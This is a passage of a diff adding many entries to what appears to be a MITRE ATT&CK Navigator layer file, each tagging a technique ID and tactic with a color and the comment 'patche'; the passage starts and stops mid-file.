"techniqueID": "T1048", + "tactic": "exfiltration", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1048.002", + "tactic": "exfiltration", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1011.001", + "tactic": "exfiltration", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1041", + "tactic": "exfiltration", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1011", + "tactic": "exfiltration", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1052", + "tactic": "exfiltration", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1048.001", + "tactic": "exfiltration", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1048.003", + "tactic": "exfiltration", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1567", + "tactic": "exfiltration", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1052.001", + "tactic": "exfiltration", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1567.002", + "tactic": "exfiltration", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1567.001", + "tactic": "exfiltration", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1203", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1212", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1211", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1068", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1210", + "tactic": "lateral-movement", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1588.005", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1587.004", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1564.014", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1491.002", + "tactic": "impact", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1055.011", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1055.011", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1008", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1568.001", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1070.004", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1083", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1222", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1592.003", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1495", + "tactic": "impact", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1606", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1056.002", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1056.002", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1553.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1592", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1589", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1590", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1591", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1558.001", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1615", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1484.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1484.001", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1552.006", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1592.001", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1200", + "tactic": "initial-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1564.005", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1564.002", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1564", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1574", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1574", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1574", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1505.004", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1590.005", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1591.003", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1591.004", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1546.012", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1546.012", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1562.003", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1562", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1525", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1562.006", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1027.005", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1202", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1490", + "tactic": "impact", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1056", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1056", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1608.003", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1553.004", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1218.004", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1559", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1491.001", + "tactic": "impact", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1090.001", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1534", + "tactic": "lateral-movement", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1036.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1059.007", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1001.001", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1558.003", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547.006", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547.006", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1574.013", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1574.013", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1574.013", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1555.001", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1056.001", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1056.001", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1546.006", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1546.006", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1557.001", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1557.001", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1027.012", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1003.004", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547.008", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547.008", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1003.001", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1570", + "tactic": "lateral-movement", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1543.001", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1543.001", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1543.004", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1543.004", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1569.001", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1608.005", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1222.002", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1055.015", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1055.015", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1087.001", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1078.003", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1078.003", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1078.003", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1078.003", + "tactic": "initial-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1074.001", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1114.001", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1069.001", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1037.002", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1037.002", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547.015", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547.015", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1037.001", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1037.001", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1218.014", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1127.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1071.003", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1134.003", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1134.003", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1204.003", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1204.001", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1588.001", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1553.005", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1036.008", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1036.004", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1036", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1036.005", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1218.013", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1556", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1556", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1556", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1578", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1112", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1112", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1601", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1218.005", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1218.007", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1111", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1621", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1104", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1003.003", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1564.004", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1106", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1546.007", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1546.007", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1599", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1498", + "tactic": "impact", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1556.004", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1556.004", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1556.004", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1059.008", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1602.002", + "tactic": "collection", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1037.003", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1037.003", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1590.006", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1046", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1070.005", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1135", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1040", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1040", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1590.004", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1590.003", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1095", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1132.002", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1003", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1499.001", + "tactic": "impact", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1027", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1588", + "tactic": "resource-development", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1218.008", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1137", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1137.001", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1137.002", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1102.003", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1137.003", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1137.004", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1137.005", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1134.004", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1134.004", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1550.002", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1550.002", + "tactic": "lateral-movement", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1550.003", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1550.003", + "tactic": "lateral-movement", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1110.002", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1556.002", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1556.002", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1556.002", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1110.001", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1555.005", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1201", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1601.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1574.007", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1574.007", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1574.007", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1574.008", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1574.008", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1574.008", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1574.009", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1574.009", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1574.009", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1120", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1069", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1566", + "tactic": "initial-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1598", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1647", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1556.003", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1556.003", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1556.003", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1205.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1205.001", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1205.001", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547.010", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547.010", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1055.002", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1055.002", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1653", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1059.001", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1546.013", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1546.013", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1542", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1542", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547.012", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547.012", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1552.004", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1003.007", + "tactic": "credential-access", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1055.009", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1055.009", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1564.010", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1057", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1055.013", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1055.013", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1055.012", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1055.012", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1055", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1055", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1572", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1001.003", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1090", + "tactic": "command-and-control", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1055.008", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1055.008", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1216.001", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1597.002", + "tactic": "reconnaissance", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1059.006", + "tactic": "execution", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1012", + "tactic": "discovery", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1037.004", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1037.004", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1563.002", + "tactic": "lateral-movement", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1542.004", + "tactic": "defense-evasion", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1542.004", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547.007", + "tactic": "persistence", + "enabled": true, + "color": "#B99095", + "comment": "patche" + }, + { + "techniqueID": "T1547.007", + 